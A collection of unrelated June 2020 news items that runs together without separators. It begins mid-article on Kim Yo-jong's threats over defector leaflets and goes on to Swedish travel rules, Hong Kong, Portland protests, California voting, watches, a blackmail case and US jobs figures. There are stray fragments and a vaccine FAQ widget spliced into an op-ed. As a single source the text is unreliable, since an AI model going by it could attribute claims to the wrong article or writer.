What matters is that those human scum hardly worth their value as human beings had the temerity of faulting our supreme leadership and citing 'nuclear issue', she fumes, referring to initiatives by her brother and South Korea's leader to ease tensions on the peninsula.

Riff-raff and mongrel dogs

I wonder if the world knows what kind of riff-raff those foolish 'defectors from the north' are, she asks.

It is the height of irony. Those fools who are almost illiterate wanted to talk about the 'nuclear issue' though they know no concept about it. This is like 'a shop-boy near a temple chanting a sutra untaught', she says, referring to attempts by US President Donald Trump, Seoul and Kim Jong-un to scale down Pyongyang's nuclear program in exchange for the US removing its nuclear arsenal from the region.

Apart from being human scum little short of wild animals who betrayed their own homeland she calls the defectors mongrel dogs as they bark in where they should not.

And this has to come to an end, she says, asking the south Korean authorities if they are ready to take the consequences of the damage done by these rubbish-like mongrel dogs who took no scruple to slander us.

There will be serious consequences if Seoul doesn't comply, she threatens.

Among those consequences: a possible cancellation of the 2000 North-South Joint declaration, which was signed by Kim Jong-un's father Kim Jong-il and then South Korean President Kim Dae-jung, while the 2018 Panmunjon Declaration for Peace and Prosperity on the Korean Peninsula jointly signed by Kim Jong-un and South Korean President Moon Jae-in may be in danger too.

Sister Kim angrily points out that this text specifically refers to ceasing all hostile acts against each other in every domain, including  distribution of leaflets, in the areas along the Military Demarcation Line.

Complete withdrawal

Apart from cancelling the agreements, she also threatens the complete withdrawal of North Korea from the cross-border cooperation project at the Kaesong Industrial Park, and the closure of the north-south joint liaison office.

The effect was immediate: just hours after the KCNA published Kim's statement, Seoul's unification ministry said the government was considering legislation to ban leaflet campaigns on the grounds they caused tension at the border.

"Any act that could pose a threat to the life and property of the residents in the border area should be stopped," said ministry spokesman Yoh Sang-key.

The leaflet campaigns have been a thorny issue between the two Koreas, but enacting such a law could spark an outcry in the South over the right to freedom of expression.

An official at the South Korean presidential office said the leaflets did "more harm than good," adding the government would "respond firmly" to anything that damages national security. Yonhap news agency reported that mayors of townsin the border area had also requested the ministry to take steps and prevent defectors from flying leaflets into the North.

And Kim himself?

Meanwhile Supreme Leader Kim Jung-un has disappeared for the third time in two months. When he was not shown in public after inspecting an assault plane group in the west of the country on 12 April, speculation had it that he had died of heart problems in late April, but on 2 May, KCNA published a slideshow of Kim opening a fertilizer factory, looking puffy, but not unhealthy.

He then disappeared again without trace for another three weeks, before being photographed chairing a session of the Military Commission on 24 May, the last time he was seen in public. This week's sudden appearance of his sister adds fuel to speculation that she has been increasingly taking a leadership role in the country.
Chennai, June 5 : Thirteen-year-old M. Nethra daughter of C. Mohan an owner of salon in Madurai has been appointed as a 'Goodwill Ambassador to the Poor' for United Nations Association for Development And Peace (UNADAP).

"We are really overwhelmed on hearing this news," Mohan told IANS. He owns a salon in the temple town Madurai in Tamil Nadu.

Announcing this UNADAP said Nethra will be given the opportunity to speak at the United Nations (UN) conferences in New York and in Geneva addressing Civil Society forums and conferences.

"This position would give her an opportunity and responsibility to speak to world leaders, academics, politicians and civilians, encouraging them to reach out to the poorest of the poor," UNADAP said.

The Dixon Scholarship has awarded Nethra a scholarship amount of Rs 1,00,000.

"We are simple people from a small family. This kind of honour we did not expect," Mohan said.

It was Nethra who was very much moved by the people's distress during the lockdown and urged him to help them.

Then Mohan dipped into his savings of Rs 5 lakh and donated essentials to about 600 families. This he did despite the fact that his salon was closed for two months as part of Covid-19 lockdown and he had no income during that period.

Prime Minister Narendra Modi mentioned about this in his recent 'Mann ki Baat' radio programme.

"I have lost count of the number of calls I have received. It could be over 250 calls," Mohan had told IANS.

During his Mann ki Baat programme, Modi said Mohan, who owns a salon in Madurai, had spent his entire savings to help people in distress during the Covid-19 lockdown.

"Shri Mohan ji runs a salon in Madurai. Through sheer hard work, he had saved Rs 5 lakh for his daughter's education. But he spent the entire amount in the service of the needy and the underprivileged in these difficult times," Modi had said on Sunday.

According to Mohan, he had saved the amount for his daughter Nethra's education. She is now in eighth standard.

According to him, the money could be saved later also but help for the people in distress had to be rendered immediately.

"Originally, we were from Ramanathapuram district. We came to Madurai twenty years ago and set up the shop," he said.

At a time when corporates are demanding the lenders to write off part of their loan/interest dues, Mohan's gesture is nothing but appreciable.


remaining of

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STOCKHOLM (Reuters) - Sweden will ease restrictions on domestic travel from June 13, Prime Minister Stefan Lofven said on Thursday, despite signs that novel coronavirus infections are increasing in parts of the country.

Sweden has not imposed a social lockdown, instead relying primarily on voluntary measures focused on social distancing and hygiene to check the spread of the virus.

It has kept most schools, restaurants and businesses open and instructed people not to make unnecessary journeys.

With the number of deaths and people treated at intensive care falling, Lofven said that Swedes who were symptom-free could now plan visits to their summer cottages or relatives in other parts of the country.

"This decision does not mean that the danger is over," Lofven told a news conference. "It doesn't mean that life is back to normal again, and other restrictions remain in place.

"If the curve showing the seriously ill turns up again, there will be new restrictions."

The easing of travel restrictions, however, comes after the Public Health Agency reported a rise in cases that could not wholly explained by increased testing.

"Unfortunately, in Sweden, we can see an increase in cases again," Chief Epidemiologist Anders Tegnell told a news conference, urging people not to ease up on social distancing.

Tegnell said the increases in new cases was seen primarily in Western Sweden and among younger people.

"Cases among the really old have declined quite rapidly. It shows the measures taken have had an effect," he said. "There's reason to believe the decline in deaths will continue."

Lofven said travel restrictions were not the most effective way of preventing the spread of the disease.

He said social distancing rules would apply on trains and other forms of public transport and people should continue to follow all other restrictions wherever they were.

"When you get to your destination you have to do exactly what you would do at home, social distancing rules still apply," he said. "We cannot have crowded pubs and we cannot have crowds anywhere else, either."

Story continues

Sweden has 41,883 confirmed COVD-19 cases in total.

Sweden registered 20 new deaths on Thursday, taking the total to 4,562, much higher than in neighbouring Nordic countries but also much lower than the United Kingdom, Italy, France and Spain.

(Reporting by Johan Ahlander and Simon Johnson; Editing by Nick Macfie)
Source: Xinhua| 2020-06-04 19:10:43|Editor: huaxia

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China's Ambassador to the Philippines Huang Xilian (R) and Manila City Mayor Isko Moreno pose with the "friendship bags" at the city hall in Manila, the Philippines on June 4, 2020. The Chinese Embassy in the Philippines on Thursday donated 5,000 "friendship bags" filled with staples like rice and canned foods to the residents of Manila City affected by COVID-19 epidemic. (Xinhua/Rouelle Umali)

MANILA, June 4 (Xinhua) -- The Chinese Embassy in the Philippines on Thursday donated 5,000 "friendship bags" filled with staples like rice and canned foods to the residents of Manila City affected by COVID-19 epidemic.

China's Ambassador to the Philippines Huang Xilian handed over the bags of goodies to Manila City Mayor Isko Moreno during a simple ceremony.

Huang said that many local families are suffering due to the COVID-19 outbreak, expressing hope that the goodies will help the residents get through the difficulties.

Since the outbreak of the pandemic, China and the Philippines have helped and supported each other, building a closer partnership through anti-pandemic cooperation.

The Philippines now has 20,382 confirmed COVID-19 cases, including 4,248 recoveries and 984 deaths.

The Chinese embassy vowed to work together with the Philippine people to strive for an early victory over the pandemic.

Moreno thanked the Chinese embassy for its continued support to Manila City residents, adding the donation will greatly help the suffering families.

Huang also took the opportunity to share China's experience on how to resume work and kickstart the economy after lockdown. Moreno voiced hope that both sides could strengthen such exchanges for the benefit of the people of the two countries.

With an aim to supporting the Philippines' efforts to combat the COVID-19, the Chinese embassy in the Philippines, together with its Consulates General in Cebu, Davao and the Consulate in Laoag, are donating supplies of daily necessities to the local people with a combined value of about 17.5 million pesos (roughly 350,000 U.S. dollars).

The program is expected to benefit more than 20,000 families in the Philippines. Enditem
A 23-year-old Ewing woman died Thursday from injuries she suffered when her vehicle crossed into oncoming traffic on Lower Ferry Road and struck an approaching vehicle, police said.

Gabriella Nordgren was trapped in her vehicle when police responded to the 11:53 a.m. crash, at Ashley Avenue, Ewing police said. Township firefighters freed her, and a 5-year-old passenger in her car.

Both were taken to Capital Health Regional Medical Center in Trenton. Nordgren was in critical condition and later died of her injuries, police said Thursday evening.

The 5-year-old, as well as the other driver, who was also taken to the hospital, had non life-threatening injuries.

Police did not elaborate on the childs relationship to Nordgren.

The crash remains under investigation by Officer Robert Birchenough, who can be reached at 609-882-1313 ext. 5569, if anyone has information about the collision.

Our journalism needs your support. Please subscribe today to NJ.com. Tell us your coronavirus story or send a tip here.

Kevin Shea may be reached at kshea@njadvancemedia.com.
Why minute repeaters are the musical instruments of time

A collection of 13 vintage and modern Patek Philippe minute repeaters comes to auction at Christies in July. Our head of watches in Asia Pacific, Alexandre Bigler, explains the minute repeaters unique and fascinating charms





Minute repeaters are the musical instruments of time, says Alexandre Bigler, vice president and head of Watches at Christies Asia Pacific. Relative to the complexity of minute repeaters, tourbillons are just standard. Minute repeaters fascinate because the sound they produce engages the emotions, like music. People have a childlike fascination with them. Theres a real charm to them. Bigler is as charmed by them as the next person, possibly even more so now that he has a collection of 13 vintage and modern minute repeaters made by Patek Philippe to auction at Christies in July. Its the most valuable single-owner collection of such watches ever offered in Asia, and is expected to fetch some US$11 million.



Small wonder: minute repeaters  which use a tiny hammer and gong, typically to chime the hour, quarter hours and minutes  are notoriously hard to make. A Patek Philippe example takes 500 hours to assemble. The issue is not simply one of mechanics or microscopic tolerances, but also the need to master sonics and the forces producing them.

Like fine pianos, even physically identical watches will inevitably sound slightly different. That makes each one unique

In other words, it takes a fine appreciation of materials and their interaction to make a minute repeater with an audible but not obtrusive chime that is also set at the right tempo, pitch and duration to sound appealing. Like fine pianos, even physically identical watches will inevitably sound slightly different. That only makes each one unique  and explains why, in the eyes of collectors, the minute repeater surpasses all other complications. After all, these are watches that hark back to the beginnings of the mechanical recording of time. Early mechanical clocks didnt show the time, but sounded it. The repeater mechanism, which dates from 1687 and was invented by the English clockmaker Daniel Quare, appealed in part because it allowed people to tell the time in the dark of night, without having to light a candle. The first minute repeater was produced in Germany by an unknown clockmaker in 1720, and in the late 1700s, Breguet introduced the idea of a two-tone chime. In 1839, Patek Philippe sold its first repeater pocket watch. And 85 years later it created its first minute repeater wristwatch, producing various references over the following years, many of historic importance, each highly collectible.

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Patek Philippe may not have pioneered the minute repeater, but it was arguably the first to master the building of it on a commercial scale, and with a great sound, explains Bigler. Only five or six brands have ever been able to do that, and only a few now have the watchmakers with the necessary knowledge. It was also Patek that brought minute repeaters back into public consciousness by taking the decision to start making them again in 1989. Such watches still take a lot of time and money to produce, which means very few are made, says the specialist. But that only adds to their romance.

Patek Philippe ref. 5033 Arguably the star of the collection, this ref. 5033 automatic minute repeating annual calendar watch was, atypically, made with a titanium case. This lightweight material is not only extremely challenging to work with relative to steel, but it is also difficult to make work sonically. Thats why all titanium Patek Philippe minute repeaters, with the exception of this one, have been produced exclusively for the Only Watch charity auction. The result is, Bigler notes, an unusual lightweight, high-tech, contemporary-looking watch that still retains all of Pateks tradition and classicism.

Patek Philippe ref. 5029 Collectors might be drawn to the rare champagne dial on this piece, says Bigler of this 18k gold limited-edition minute repeating wristwatch with Breguet numerals, made in 1997 to mark the opening of Patek Philippes Plan Les-Ouates workshops. And they will certainly notice the smaller details that make this watch special. Bigler is referring in particular to the JHP stamp on the case back  denoting that the case was made by the esteemed independent case-maker Jean-Pierre Hagmann. Patek would not typically advertise outsiders working for the company, so the stamp is a sign of even greater quality, says Bigler. It shows that this case was made just by him, not handed to one of his apprentices.

Patek Philippe ref. 5074 This minute repeating perpetual calendar watch with moon phases and both 24-hour and leap-year indications is rare enough already with its black dial and pink-gold case. That it was bought from Patek Philippes historic boutique on Genevas rue du Rhone makes it even more appealing. The icing on the cake of this slightly larger piece, however, is the cathedral gong with its deep, rich, high- and low-tone chime and longer-lasting sound. Some people love the cathedral sound for its resonance, says Bigler. The tone is beautiful and impressive.

Patek Philippe ref. 2524/1 Theres a standout quality to this 18k gold minute repeating watch that transcends its superlative build quality (the case was made by Emile Vichet) and the graphic simplicity of its almost modernist dial. And that, Bigler stresses, comes from the fact that, despite dating to 1955, it has never been subject to what he calls careless polishing. When watches are serviced it is typically to make a watch look as new. But most collectors dont want the original quality of the watch altered. They want a watch as a time capsule, the specialist explains. Like people, he adds, some watches age better than others  and this has aged with particular character.
China is warning that the United Kingdom is opening itself up to serious consequences if it follows through on a plan to offer refuge and a path to citizenship for nearly three million Hong Kong citizens should China implement a restrictive national security law.

China believes that Hong Kong people who were born in Hong Kong are Chinese nationals, said Chen Wen, Minister and First Staff Member of Chinese Embassy in London, in a BBC interview.

There will be consequences, thats for sure, Wen said.

British Prime Minister Boris Johnson outlined the proposal on Tuesday, saying that if necessary, Britain will allow Hong Kong residents who hold British National Overseas passports to come to the UK for a renewable period of 12 months and be given further immigration rights, including the right to work, which could place them on a route to citizenship. The move would be one of the biggest changes in our visa system in British history, Johnson said.

The prime minister declared that Beijings new national security law violates the terms of the Sino-British Joint Declaration, the agreement the U.K. reached with China after Hong Kong returned to Chinese sovereignty in 1997.

China warned Britain to abandon its colonial state of mind regarding Hong Kong.

China last month approved national security laws, which have yet to be implemented, that would allow Beijing to wield expanded power over Hong Kong. Pro-Democracy activists and other critics say the national security laws would effectively scrap the one country, two systems policy that has allowed Hong Kong its political freedoms and civil liberties despite still being technically governed by China.

Wen denied that China was threatening anything but warned that the UKs move would be damaging to Britains image of abiding by its own commitments as well as to the entire relationship.

Im just saying this is not the correct decision, and it will be damaging to Hong Kongs stability, she said.

More from National Review
Jhinuk Chowdhury

India is intentional about playing a leading rather than a balancing role in Asia, Minister of External Affairs Subrahmanyam Jaishankar said in 2015. The remark was a subtle indication to the international community that New Delhi is more than just a counterweight to Beijing.

This confidence has been visible in the subsequent big ticket alliances that India entered into, especially with the big powers. Inclusion to the 2+2 dialogue process with the United States, the Quad meetings between the US, Japan, India, and Australia, or renaming of the US Pacific Command as the Indo-Pacific Command  all these underline not only India's centrality in the region, but also demonstrate that New Delhi is ready to project and leverage its strategic peninsular position.

Although many viewed it as a lost opportunity, Indias RCEP departure was in fact a deft step to stay away from a China-heavy regional grouping and enter into stronger bilateral relations with the ASEAN. New Delhi took a conscious step to engage with Southeast Asia through its minilateralist organisations, such as the Bay of Bengal Initiative for Multi-Sectoral Technical and Economic Cooperation (BIMSTEC) and the Mekong-Ganga Cooperation.

There is another geopolitical development that poses both challenges and opportunities for New Delhi. Asia observers fear intensified competition for power-sharing between Beijing and Washington, owing to the recent heightening of tension between the G-2. After the US-China feud over COVID-19, the current situation in Hong Kong is widening the rift. The smaller Asian nations, wary of big power domination, are looking for a neutral leader. India, one of the world's strongest democracies with a non-aggressive track record, is the only power that can fill this void provided it takes a definitive stance on some of the contentious geopolitical issues in the region.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

The pro-democracy struggle in Hong Kong is one such geopolitical theatre where India can project assertive yet benign power. For over two years now, this erstwhile British colony has been fighting to keep its one country, two systems principle that China and the United Kingdom agreed upon while signing Hong Kong's independence pact in 1997. As per this principle, the metropolitan area would enjoy a high degree of autonomy, except in foreign and defence affairs for 50 years.

However, there are multiple attempts by Beijing to undermine Hong Kong's autonomy  from an extradition law, the anthem bill to the latest security law. Many fear these laws would be used to target political dissidents  a disquiet bringing Hong Kongers to the street to protest.

Hong Kong's political scene comprises two factions  the pan democratic and the pro-establishment groups. The pan-democrats call for incremental democratic reforms while recognising that these cannot jeopardise Beijing's central authority and are more likely to succeed when they are mutually beneficial.

These ideals are close to the political values India stands for. In fact some of the pro-democracy leaders have drawn inspiration from India's freedom struggle. Benny Tai, Hong Kong's democracy activist, has in the past, led a civil disobedience movement.

The city is likely to have its next legislative council election in September. Beijing is worried that Hong Kong might repeat the November 2019 results when it gave a landslide mandate to the pro-democrat groups.

Can India take some definitive steps to show solidarity with the pro-democratic leaders and ensure that they remain in the political scene of Hong Kong? India has been involved in several multilateral institutions for democracy promotion worldwide along with the US, such as the Global Democracy Initiative (GDI) or the UN Democracy Fund. Can these initiatives be used to support the democratic cause Hong Kongers?

Meanwhile, a concerted international voice is underway against China's heavy handedness in Hong Kong. While the US has promised to revoke the city's privileged trade status, a BBC report says theres an urge in the UK to form a global alliance to co-ordinate the response to the China-Hong Kong crisis. Australia has also condemned Beijing's heavy crackdown.

While none of the international scorns, in the past, have deterred China from its aggressive posturing, this time there seems to be a more constructive effort through collaboration to provide asylum to the fleeing Hong Kongers. Both the UK, which grants British National (Overseas) (BNO) passports, and Australia might join hands in this. The Taiwanese President Tsai Ing-wen too said her government will provide necessary assistance.

Can India open its doors too to these political activists? We have an intimate past with the city since the early 19th century  from Indian soldiers fighting for its security and Indian entrepreneurs adding to the dynamism of Hong Kong's commercial scene. As per data, Hong Kong is India's top trading partner with a business worth $4.2 billion as against $2.3 billion with China. Standing up for Hong Kong is in India's interest  both economically and diplomatically.
Protesters united against police brutality for the eighth consecutive night in Portland, demonstrating without incident for hours before unrest broke out overnight and 12 were arrested.

Thursdays protests followed memorials in Minnesota and New York City for George Floyd, a black man whose killing by police in Minneapolis set off protests nationwide. Floyd died May 25 after he was restrained for nearly nine minutes by a white officer who knelt on Floyds neck.

In Portland, Thursday nights demonstrations brought out thousands of people, including Trail Blazers star point guard Damian Lillard. As marchers made their way across the Morrison Bridge, Lillard stood near the front. The crowd linked arms and chanted, I cant breathe."

For the second straight night, demonstrators filled Tom McCall Waterfront Park. An organizer called for nonviolent resistance and cheered the decision to stop assigning police officers to work in Portland schools.

We do not have justice, so we do not have peace," the person told the crowd. "We can be nonviolent, but we cannot be peaceful.

Portland Public Schools Superintendent Guadalupe Guerrero first announced Thursday morning that the district would stop having officers patrol school hallways. Mayor Ted Wheeler later said the city would also reassign the officers who had patrolled David Douglas and Parkrose schools.

The Portland Police Bureau has come under scrutiny by protesters and the state American Civil Liberties Union for its tactics responding to the demonstrations, which at times have escalated to damage to buildings and confrontations with police. Portland police have often used tear gas to disperse crowds.

Deputy Chief Chris Davis said at a Thursday afternoon press conference with Wheeler that Portland police did not use tear gas Wednesday, when an estimated 8,000 protesters amassed downtown. Thousands of people stood outside the downtown jail for hours. A chain link fence separated police and protesters.

Oregon Gov. Kate Brown pledged to review state police training practices Thursday at a forum hosted by African American community leaders.

Demonstrations demanding police reform have emerged statewide.

In Portland, two spaces have emerged as launching pads for demonstrations in Portland: Pioneer Square in downtown and a city-owned green space at Southeast Stark Street and 12th Avenue. Crowds began gathering both places Thursday shortly before 6 p.m.

At Pioneer Square, three Portland Police officers stood at the north edge of the square and chatted with demonstrators. Members of Albina Christian Life Center set up a sound system and keyboard, then led the crowd of a few hundred people in a prayer greeted by cheers.

I want to pray today that all of the concerns and all your efforts  all our efforts  will bring the change that America truly needs, Bishop Samuel Irving said.

Later, he addressed the crowd directly and referenced earlier protests.

I dont like to break the buildings," Irving said, "but I do like that youre making noise.

Ariel Younce, 38, of Vancouver, said she attended the gathering to advocate for justice for Floyd and for all people.

This is enough," she said. Police brutality is not cool.

Meanwhile, several hundred people converged in Southeast Portland at the Stark Street lot.

Elijiah Roach, a college student from Oregon City, said black organizers are coming together to discuss their goals so their voices are heard.

Were wanting to be able to address policy reform, policy change, Roach said. We want to make sure that we have clear needs addressed, ones that the community actually support and also agree upon.

Around 6:30 p.m., people began speaking to the crowd.

We have to fight not just for black people, but black trans, black gay people, black bisexual people. Every type of black, we need to fight for that, said DeMarcus Spencer, drawing cheers.

A crowd of a few thousand people began marching to downtown Portland around 6:40 p.m.

Portland Trail Blazers star Damian Lillard marched with the crowd as they walked toward the Morrison Bridge.

The crowd reached the Morrison Bridge shortly after 7 p.m. They chanted, Whose streets? Our streets.

Hundreds of people awaited the marchers in Pioneer Square. The crowd there chanted Life up America and Yes we can as religious leaders continued to speak.

As the march made its way across the Morrison Bridge, the crowd paused often. Nearby, a Portland Fire & Rescue boat shot streams of water into the air over the Willamette River. The agency described the display as a signal of hope for more peace.

Organizers riding in a pickup and car led the march in chants as people continued to march across the bridge. The crowd stopped often to listen to speeches delivered by a megaphone.

"Lastly, we need to remember that not all lives matter until black lives matter, one person said, before they continued to march.

By 8 p.m., the march had nearly reached downtown. Some marchers beat drums in rhythm to chants of Breonna Taylor, a woman killed by police in Louisville who served a no-knock search warrant at her home.

It took more than 10 minutes for the marchers to file off the bridge and make their way to the waterfront.

As the crowd gathered in the waterfront park shortly before 8:30 p.m., Portland Police tweeted that they had spotted drones flying above the crowd and told operators to stop.

Whoever is flying them needs to stop now, police said on Twitter. It is dangerous to fly over a crowd.

By 9 p.m., several speakers had addressed the crowd. One speaker drew cheers suggesting that the city should start over with its police force.

We need to come together," one speaker said. "We need to vote. We need to get this money directed the right way.

Marceau Michel, of Black Founders Matter, led a chant of, Black lives are magic

Black lives dont just matter, black lives are magic," he said. "I want you to say it with me.

A Portland Opera singer led the crowd in signing

As the crowd listened to speeches on the waterfront, a second group began forming outside the Multnomah County Justice Center, a target of recent protests. The crowd chanted insults at police staged behind a fence that blocked the Justice Center from demonstrators.

Shortly after 9:30 p.m., the speeches continued on the waterfront. Nkenge Harmon Johnson, who leads the Urban League of Portland, told the crowd that she thought racism would be defeated.

What I didnt know was racists are made, they are not born," she said.

Harmon Johnson apologized to the crowd for the shows of force that police had made during the demonstrations, including the use of tear gas to break up crowds.

I was on the phone all day with the governor, with the mayor, with the mayors donors, with the right people to pull the levers to take it back, she said.

By 10 p.m., hundreds of people began to clear out of the waterfront park.

Meanwhile, the group in front of the Justice Center had grown to between 500 and 1,000 people. Some demonstrators talked through the chain link fence with police officers standing on the other side.

Many people standing near the fence held their hands in the air and chanted at police. Officers used a loudspeaker to repeat the same message they delivered Wednesday: We have no intent to engage.

Andy Tran, of Portland, said he has attended every protest to advocate for changing the criminal justice system.

Its a peaceful protest, but if a riot happens, it shows well be here no matter what, he said. Historically though, rioting works.

Just before 10:30 p.m., police said on Twitter that someone had tried to climb the fence and asked any children to leave.

An Oregonian/OregonLive reporter saw some people spray water from water bottles toward police standing along the fence.

Around 11 p.m., the standoff between several hundred protesters and police continued at multiple points near the fence. On Twitter, police asked people not to climb the fence.

A reminder that several hundred people are residing there, police said, referring to the jail inside of the justice center. We have a duty and responsibility to protect them.

By 11:30, the crowd remained large, however the tension was not heightened. Over a loudspeaker, Portland police said, Stop throwing eggs at the officers. The crowd responded by clapping and cheering.

Police said apples, water bottles and full beer cans were among the other things thrown at officers.

They also said a fight was reported near the Thompson Elk statue on Southwest Main Street, between Lownsdale and Chapman squares, at some point. One person was taken to a hospital.

At midnight, the crowd that remained sang Happy Birthday to Breonna Taylor, the Louisville woman killed by police in March. Her 27th birthday would have been Friday.

Police said a group of agitators moved to the area of Southwest Third Avenue and Salmon Street about 1:30 a.m.

They set multiple fires, police said, including one that burned the contents of a dumpster. They also tossed construction barriers into the dumpster fire, according to police.

The group at some point began throwing things  including glass bottles and fireworks  at officers, police said. A firework hit an officer, police said, but the officer wasnt hurt.

The gathering was declared a civil disturbance and unlawful assembly, police said. The group was told to leave and warned those who didnt that theyd be subject to arrest and or police force.

Several drivers were driving recklessly while officers were dispersing the group, driving the wrong way on a one-way street and speeding as fast as 55 mph downtown, according to police. Some had their lights off, police said, and pedestrians appeared to be nearly struck several times.

Officers stopped three drivers. Each was arrested. The cars were towed.

Police said their sound truck became a target of the groups aggression as officers continued to disperse the crowd. They said lasers were shined at the driver and rocks and glass bottles were thrown at the truck.

Police said they used a Long Range Acoustic Device twice to defend themselves from these criminal and dangerous acts.

According to a 2009 New York Times report, such devices are powerful speakers that can also emit a very loud, siren-like noise. The devices are known by their acronym, LRAD, and are referred to as sound cannons.

Police said they arrested 12 people between about 1:30 a.m. and 3:30 a.m.

 Brooke Herbert, Mark Graves, Jim Ryan, Jayati Ramakrishnan and K. Rambo of The Oregonian/OregonLive contributed to this report.
The coronavirus turned what already promised to be an unprecedented presidential election year into a new test for California and its voting system, Secretary of State Alex Padilla said Friday.

The March 3 primary spotlighted the enthusiasm California voters were feeling, Padilla said in an hour-long online interview with Mark Baldassare, president and CEO of the nonpartisan Public Policy Institute of California.

We entered 2020 knowing this would be a big election year, the secretary said. We had record registration of nearly 20.7 million. We had a record number of primary ballots cast. We had the highest-ever percentage of eligible voters registered.

Then COVID happened.

Less than two weeks after the primary, much of the state was shut down as officials tried to stem the spread of the coronavirus, which as of Friday has killed 4,481 Californians and sickened more than 123,000.

It also left Padilla and election officials around the state scrambling to ensure that the November election, with what could be a record voter turnout, would run smoothly and, just as important, safely.

Luckily, California had a head start on the needed changes, Padilla said.

Some policies that California championed to get more access (for voters) will help during the pandemic, he said. Online registration, easy ways for voters to verify that their registration information is correct, and the states Wheres My Ballot tracking program all make life simpler for voters who may be homebound during the pandemic.

And when Gov. Gavin Newsom said last month that all voters would receive mail ballots in November, it wasnt a huge change for California. In the March primary, more than 72% of the states voters cast their ballots by mail. The governors call Wednesday for a statewide system of in-person voting centers that will be open days before the election also was designed to ease concerns of voters.

The revised November election rules arent about politics but public health, Padilla said.

The more people who vote by mail or who vote early means less lines and a safer experience for everyone, he said.

In addition to the work that has to be done preparing for a totally different type of election in the fall, the state also has to continue its effort to boost turnout, not only in total numbers but also from groups typically underrepresented.

Lower-income groups, communities of color, young people especially all are less like to register, Padilla said.

He has little patience for the attacks on mail voting by President Trump, who said its use in California will result in a rigged election, and Attorney General William Barr, who has suggested that counterfeit mail ballots produced by a foreign country are a real worry in November.

The attacks by Barr or Trump himself are wrong, baseless attempts to sow doubts about the November election results, Padilla said. Voting by mail is the right things to do in the pandemic.

Political attacks are far from the only worries voting officials are facing. The pandemic is also going to transform the physical face of the election.

The neighborhood garages and retirement homes that counties have used as polling places for decades dont really work now, not only because of the danger from the virus, but also because of their size in this time of social distancing.

We need bigger spaces, Padilla said. Some 25 to 30 voting machines cant be next to each other anymore.

Then there are the people who help run the elections.

Lots of the seniors and retirees who administer elections wont be available, because they are among those most vulnerable to the coronavirus, Padilla said. We need to recruit a new generation of poll workers.

California is going to be ready for the November election, but getting there hasnt been easy, the secretary said.

If I had to put it in one word, it would be stressful.

John Wildermuth is a San Francisco Chronicle staff writer. Email: jwildermuth@sfchronicle.com Twitter: @jfwildermuth
A Co Down finance student was sentenced yesterday for blackmailing a vulnerable woman in a bid to raise funds to pay off gambling debts.

Michael McBurney, who is currently studying a Masters in Finance and Accounting at Queen's University, was handed two years probation and 100 hours community service at Downpatrick Crown Court, sitting in Belfast.

The 30-year-old, from Mourne Rise in Newcastle, was also ordered to pay the woman 300 compensation, and appeared in court via a videolink.

Judge Geoffrey Miller QC had heard the 25-year-old woman had been out with friends in Newcastle on March 30 last year.

Crown barrister David McClean said that afterwards, she was approached by McBurney on Main Street, who asked if he could walk her home. He said he was a policeman, and when they arrived at her home, she invited him in. They watched TV and talked, and he left at around 6.30am. When she checked social media later that day, she realised she was already a Facebook friend with a Michael McBurney.

On April 1, the woman received a Facebook message from a friend who asked for her mobile number. That evening, the woman received a call from a male with an English accent.

He told the woman she had been seen with a policeman called Michael and that people in the area were not happy about it. He said "bad stuff would happen to her" in Downpatrick if she didn't pay 300.

After the woman told the caller she only had 150, he warned her not to tell anyone and to leave the money behind a bin in Newcastle.

With the caller still on the phone, the woman left her home and left the money behind a bin. The woman later told a relative what had happened and police were alerted. An investigation was launched and McBurney was arrested on April 16.

Whilst in custody an officer recognised McBurney from an incident earlier that month where he claimed to be a policeman. His mobile was seized and examined, and messages to a female asking her to get him the mobile number of the victim were found, along with a large number of messages demanding the repayment of debts.

McBurney later admitted a charge of blackmail, saying he owed money to people over gambling debts.
WASHINGTON - U.S. unemployment dropped unexpectedly in May to 13.3% as reopened businesses began recalling millions of workers faster than economists had predicted, triggering a rally Friday on Wall Street and giving President Donald Trump something to boast about amid his reelection bid.

The jobless rate is still on par with what the nation witnessed during the Great Depression. And for the second straight month, the Labor Department acknowledged making errors in counting the unemployed during the coronavirus outbreak, saying the real figure is even worse than the numbers indicate.

Still, after weeks of dire predictions by economists that unemployment in May could hit 20% or more, the news that the economy added a surprising 2.5 million jobs last month was seen as evidence that the collapse may have bottomed out in April at 14.7% and that a recovery is well underway as states loosen their lockdowns and let stores, restaurants, gyms and other businesses reopen.

We are witnessing the easiest phase of growth as people come off temporary layoffs and come back to their employers, said Harvard University economist Jason Furman, who led the White House Council of Economic Advisers during the Obama presidency. And once employers are done recalling people, the much harder, longer work of recovery will have to proceed.

Most economists had expected rehiring to kick in as shutdowns were increasingly lifted and people gradually resumed shopping and eating out.

The surprising thing here is the timing and that it happened as quickly as it did, said Adam Kamins, senior regional economist at Moodys Analytics.

On Wall Street, the S&P 500 was up 2.6% around midday on the news.

An exultant Trump seized on the report as evidence that the economy is going to come back from the coronavirus crisis like a rocket ship.

This shows that what weve been doing is right, said the president, who has pushed governors aggressively to reopen their economies amid warnings from public health officials that the country is risking a second wave of infections on top of the one that has killed over 100,000 Americans.

Still, the job market is in such a deep hole that it could take years to dig out, economists say. Most are forecasting unemployment in the high single-digits or low double-digits by the end of this year.

Economists had expected the government to report that employers shed 8.5 million more jobs in May on top of the 21.4 million lost in March and April.

